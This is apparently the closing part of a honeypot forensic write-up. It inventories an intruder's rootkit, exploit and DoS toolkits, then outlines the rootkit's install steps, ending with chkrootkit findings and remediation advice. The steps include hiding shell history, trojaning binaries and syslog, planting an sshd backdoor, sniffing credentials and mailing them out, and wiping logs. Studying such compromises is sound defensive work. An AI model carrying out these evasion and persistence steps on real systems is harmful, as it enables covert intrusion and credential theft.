 
srk3.tar Sin Rootkit 3.0
 
nebunu.tgz+
          |-apache    Bash wrapper to exploit Apache using httpdtype and openssl
          |-httpdtype determines type of web server running on a host
          |-open      OpenSSL remote apache exploit for BSD
          |-openssl   OpenSSL remote exploit
          |-pinky     variant of apache
          |-root      FTPD MassRooter
          |-scanssl   OpenSSL vulnerability scanner
          |-script    Bash wrapper for apache taking ip as argument
          |-start     wrapper for root but substitutes port 443 for 21 (!)
 
haos.tgz+             
        |-libpcap-0.6.2 libpcap 
        |-.i.c          scans arbitrary port(s) of all users on a specified IRC channel
        |-.ii.c         same as .i.c but with different #define of IRC server
        |-.iii.c        same as .i.c but with different #define of IRC server
        |-.iiii.c       same as .i.c but with different #define of IRC server
        |-.ip           reads .sv and performs SSH exploit using Denyed(2)
        |-.s.c          arbitrary TCP port scanner
        |-.sv           0-length file
        |-.v            SSH version mapper
        |-.x            SSH autorooter utilizing Denyed(2)
        |-h=            one domain name pointer (possible vulnerable host?)
        |-hh=           one domain name pointer (possible vulnerable host?)
        |-targets.txt   SSH offsets
        |-targets       SSH offsets
        |-Denyed(1)     autoroot wrapper for 7350wurm
        |-Denyed(2)     SSH exploit
        |-dat1          wrapper for dat2
        |-dat2          rpc.statd exploit
        |-haosv         HTTP version identifier
        |-haosx         wrapper for dat1
        |-haosp         arbitrary TCP port scanner
        |-FTP           FTPD autorooter
        |-7350wurm      wu-ftpd exploit
 
flood.tgz+
         |-broadcast.txt      list of smurf amplifiers
         |-juno               DoS tool
         |-madscan.c          finds smurf amplifiers
         |-slice2             DoS tool
         |-smurf6-linux+LPG.c DoS tool utilizing smurf amplifiers
         |-vadimI             DoS tool
         |-vadimI.c           truncated binary
         |-vadimII.c          DoS tool
 

- unset HISTFILE
- chattr -iau of files to be modified whichs removes immutable, append and undeletable attribute flags 
- remove /var/lock/subsys/atd and kill atd
- replace syslogd with trojaned copy
- stop syslog and restart it
- copy list of processes to not show to /dev/ttyop
- copy list of ports and ip addresses to not show to /dev/ttyoa
- copy list of filenames to not list to /dev/ttyof
- copy list of lognames to not log to /dev/ttyos
- touch -acmr trojaned binaries to system binaries which sets correct access and modification time
- chmod +s chsh which sets user or group ID on execution and replace chsh
- replace system binaries with trojaned binaries
- chkconfig –add atd and link trojaned atd SysV init to system atd SysV init
- install DoS tools in /usr/bin/
- install linsniffer, which sniffs usernames and passwords for popular protocols
- install sshd backdoor
- replace either xinetd or inet with trojaned copy, chkconfig –add inet and restart inet
- add crontab entry to email ifconfig output, hostname and sniffed traffic to author
  (attacker is supposed to change this email address, author gets a treat if not done)
- check for other rootkits
- send email with sysinfo to the author
- start syslog
- clean text in current logs
- chattr +i of modified files which adds immutable flag
 

Now on to some light investigation of the still running honeypot. One tool that attempts to locate rootkits on a machine is chkrootkit. This tool operates under a simple logic, looking for known signatures of the most popular rootkits. For instance it runs strings on binaries looking for rootkit signatures, checks for network interfaces in promiscuous mode, and attempts to find sniffer logs and rootkit config files. It is important to note that chkrootkit will use a handful of system binaries to do its analysis, so it is recommended to use known good binaries. Here is the ouput of chkrootkit in quiet mode:

 
/usr/lib/.lib
/usr/lib/sn/.X
/usr/lib/sn/.sys
/usr/lib/ld/.X
/usr/man/man1/…
/usr/man/man1/…/.m
/usr/man/man1/…/.w
 

 
Further investigation of the honeypot can be done on a seperate machine, by creating an image of the disk. A tool to create the image is the unix utility dd which will make a bit-by-bit copy. I would like to point out that one may be inclined to use tar or rsync to make a backup of a disk for forensic analysis. This is never a good idea for forensics because information like slack space at the end of files, unused inode information and empty space in the filesystem will be lost. Therefore, an attacker who uses techniques like utilizing slack space (difference between the logical file and the physical file) or writing to a set of blocks and marking the blocks as bad (refer phrack 59) to hide data will go undetected. After the image is created it should be mounted on the forensic workstation read-only,nodev,noexec.
In conclusion, I have to say that there was not anything within the compromise that was groundbreaking in the world of security. This type of compromise happens every single day to machines on the internet. I would like to add that the attacker really did make a mess of the filesystem with files and directories strewn about. I would never feel comfortable, in the case the honeypot was a production system, in simply trying to remove the attackers files and replacing binaries. There is no option except wiping the disk and reinstalling the operating system. I can only recommend keeping up with the latest security patches, deploying intrusion detection technologies like Snort in order to detect possible breaches, and installing file integrity or host intrusion detection systems like Samhain or AIDE.